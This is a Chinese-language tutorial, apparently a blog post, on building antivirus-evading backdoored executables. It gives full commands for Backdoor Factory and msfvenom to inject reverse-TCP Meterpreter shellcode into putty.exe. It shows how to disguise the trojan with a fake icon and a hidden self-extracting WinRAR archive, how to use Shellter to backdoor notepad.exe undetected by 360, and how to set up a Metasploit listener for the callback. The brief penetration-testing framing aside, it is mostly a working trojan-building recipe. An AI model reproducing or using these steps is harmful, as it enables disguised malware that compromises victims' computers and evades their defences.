免杀老工具backdoor（后门工厂+ Shellter / ico图标+数字签名/替换

backdoor-factory

后门工厂(BDF)

BDF的目标是用用户所需的shell代码对可执行二进制文件进行补丁，并继续正常执行预补丁状态。

在渗透测试中，后门程序帮助渗透测试人员在目标机器上执行各种预期的操作。例如，它可以建立从目标主机到攻击机的网络连接，方便渗透测试人员控制目标主机。Kali Linux提供一个后门构建工具Backdoor Factory。该工具支持Windows PE和Linux ELF两种运行机制的可执行文件。

利用该工具，用户可以在不破坏原有可执行文件的功能的前提下，在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后，就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本，还允许嵌入其他工具生成的Shellcode，如Metasploit。

backdoor模块安装

​ sudo pip2 install --upgrade pip -i https://pypi.douban.com/simple
​ sudo pip2 install --upgrade setuptools -i https://pypi.douban.com/simple
​ sudo pip2 install pefile -i https://pypi.douban.com/simple
​ sudo pip2 install capstone
​ 1、采用国内源，加速下载模块的速度
​ 2、常用pip源：
​ – 豆瓣：https://pypi.douban.com/simple
​ – 阿里：https://mirrors.aliyun.com/pypi/simple
​ 3、加速安装的命令：
​ – >: pip install 模块名 -i https://pypi.douban.com/simple
运行界面：

常用选项

​ -h 查看帮助信息
​ -f 测试指定文件
​ -S 检查软件是否支持patch
​ -s 指定payload，可以通过"show"来查看
​ -H 指定回连的IP地址
​ -P 指定回连的端口
​ -J 使用多个代码缝隙注入
​ -c 查看软件的代码缝隙
​ -l num 和" -c" 一起使用,查看大于num的缝隙
​ -o 指定输出软件的名称

探测缝隙

​ 1. ./backdoor.py -f putty-32bit.exe -S 检测是否可以插入shellcode
​ 2. ./backdoor.py -f putty-32bit.exe -c -l 500 探测代码裂缝
​ 3. ./backdoor.py -f /root/putty.exe -s show 列出payload

生成木马

​ /backdoor.py -f /root/Desktop/putty-32bit.exe -s iat_reverse_tcp_stager_threaded -H 192.168.48.128 -P 4444 -o tim.exe
​ MSF-meterpreter反向TCP监听

（现在不可过）

​ 自定义shellcode免杀–过火绒
​ 生成shellcode：
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.48.128 lport=4444 -e x86/shikata_ga_nai -i 15 -f raw -o shellcode.c
​ 注入shellcode：注入shellcode
./backdoor.py -f /root/Desktop/putty-32bit.exe -s user_supplied_shellcode_threaded -U shellcode.c -H 192.168.48.128 -P 4444 -o TEST.exe
​ 开机MSF监听

资源替换（ico图标）与数字签名替换

资源替换（ico图标）
1.下载一个图片xx.jpg

2.https://www.bitbug.net/ 生成ico图标

3.用winrar 文件 ### 自解压SFX: 把压缩包生成为exe可执行程序, 执行后会自动解压。 用到的工具: winrar 或者有自解压选项的压缩工具​ – 1.右键添加压缩文件
​ – 2.创建自解压文件栏✔（SFX)
​ – 3.点击高级–>点击自解压选项
​ – 4.点击更新–>覆盖所有文件夹
​ – 5.点击设置–>加入图标路径、木马路径
​ – 6.点击文本和图表–>添加ico图标
​ – 7.点击模式–>全部隐藏
​ – 8.确定，然后隐藏文件拓展名

4.木马文件设置压缩

pip安装

pip2(python2)

​ get-pip.py
​ get-pip.py复制到Kali
​ python2 get-pip.py -i https://pypi.douban.com/simple
​ pip2 -V

pip(python3)

​ wget https://bootstrap.pypa.io/get-pip.py
​ python3 get-pip.py
​ pip3 -V

Shellter 是一款动态 shellcode 注入工具，我们可以将shellcode注入到其它程序上，从而来躲避杀毒软件的查杀。俗称为免杀

官网：https://www.shellterproject.com/ 目前最新版本是7.2，主程序是.exe文件所以在windows下可以直接使用，在linux上运行的话

就需要安装wine环境来运行。我使用的Kali Linux 版本是kali-linux-2020.2目前最新版本 注意的是shellter目前只能注入32位的可执行文件

开始安装：

1. apt-get update //更新一下
2. apt-get install shellter //直接apt在线安装

安装完成后 ，终端直接输入shellter打开会报错，根据提示 我们直接执行命令 dpkg --add-architecture i386 && apt-get update && apt-get install wine32

确认安装即可

现在我们打开shellter就可以打开运行了，工具安装完成后再/usr/share/windows-resources/shellter 这个文件夹

shellter目录下的Shellter_Backups文件夹是你注入文件后备份的文件夹，会自动把原文件备份一个到这个文件夹下。

免杀实验：

Choose Operation Mode - Auto/Manual (A/M/H)：A //选择模式 A 自动模式自动注入后门，M高级模式，H帮助

PE Target：/home/notepad.exe // 注入的程序 这里已windows系统自带的32位记事本程序举例

Enable Stealth Mode? (Y/N/H): Y //是否启用隐身模式 输入Y启用

Use a listed payload or custom? (L/C/H): L //使用攻击模块列表或者自定义？ 输入L 选择Payload

Select payload by index: 1 //选择第一个

SET LHOST： 192.168.37.137 //设置反弹回来的IP 本机

SET LPORT：4444 //设置接收反弹的端口

这样我们的木马后门shellcode就注入到这个文件里去了，

开启360全部查杀引擎，更新病毒库，查杀一下试试效果，没有任何提示。

打开msf，进行配置，

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.37.137
set lport 4444
exploit  //监听

这时运行带有后门的notepad.exe文件后，控制端成功连接上来，接下来就可以随意操作了。

参考文章：
https://www.cnblogs.com/hkleak/p/12912706.html
https://www.cnblogs.com/-qing-/p/11421709.html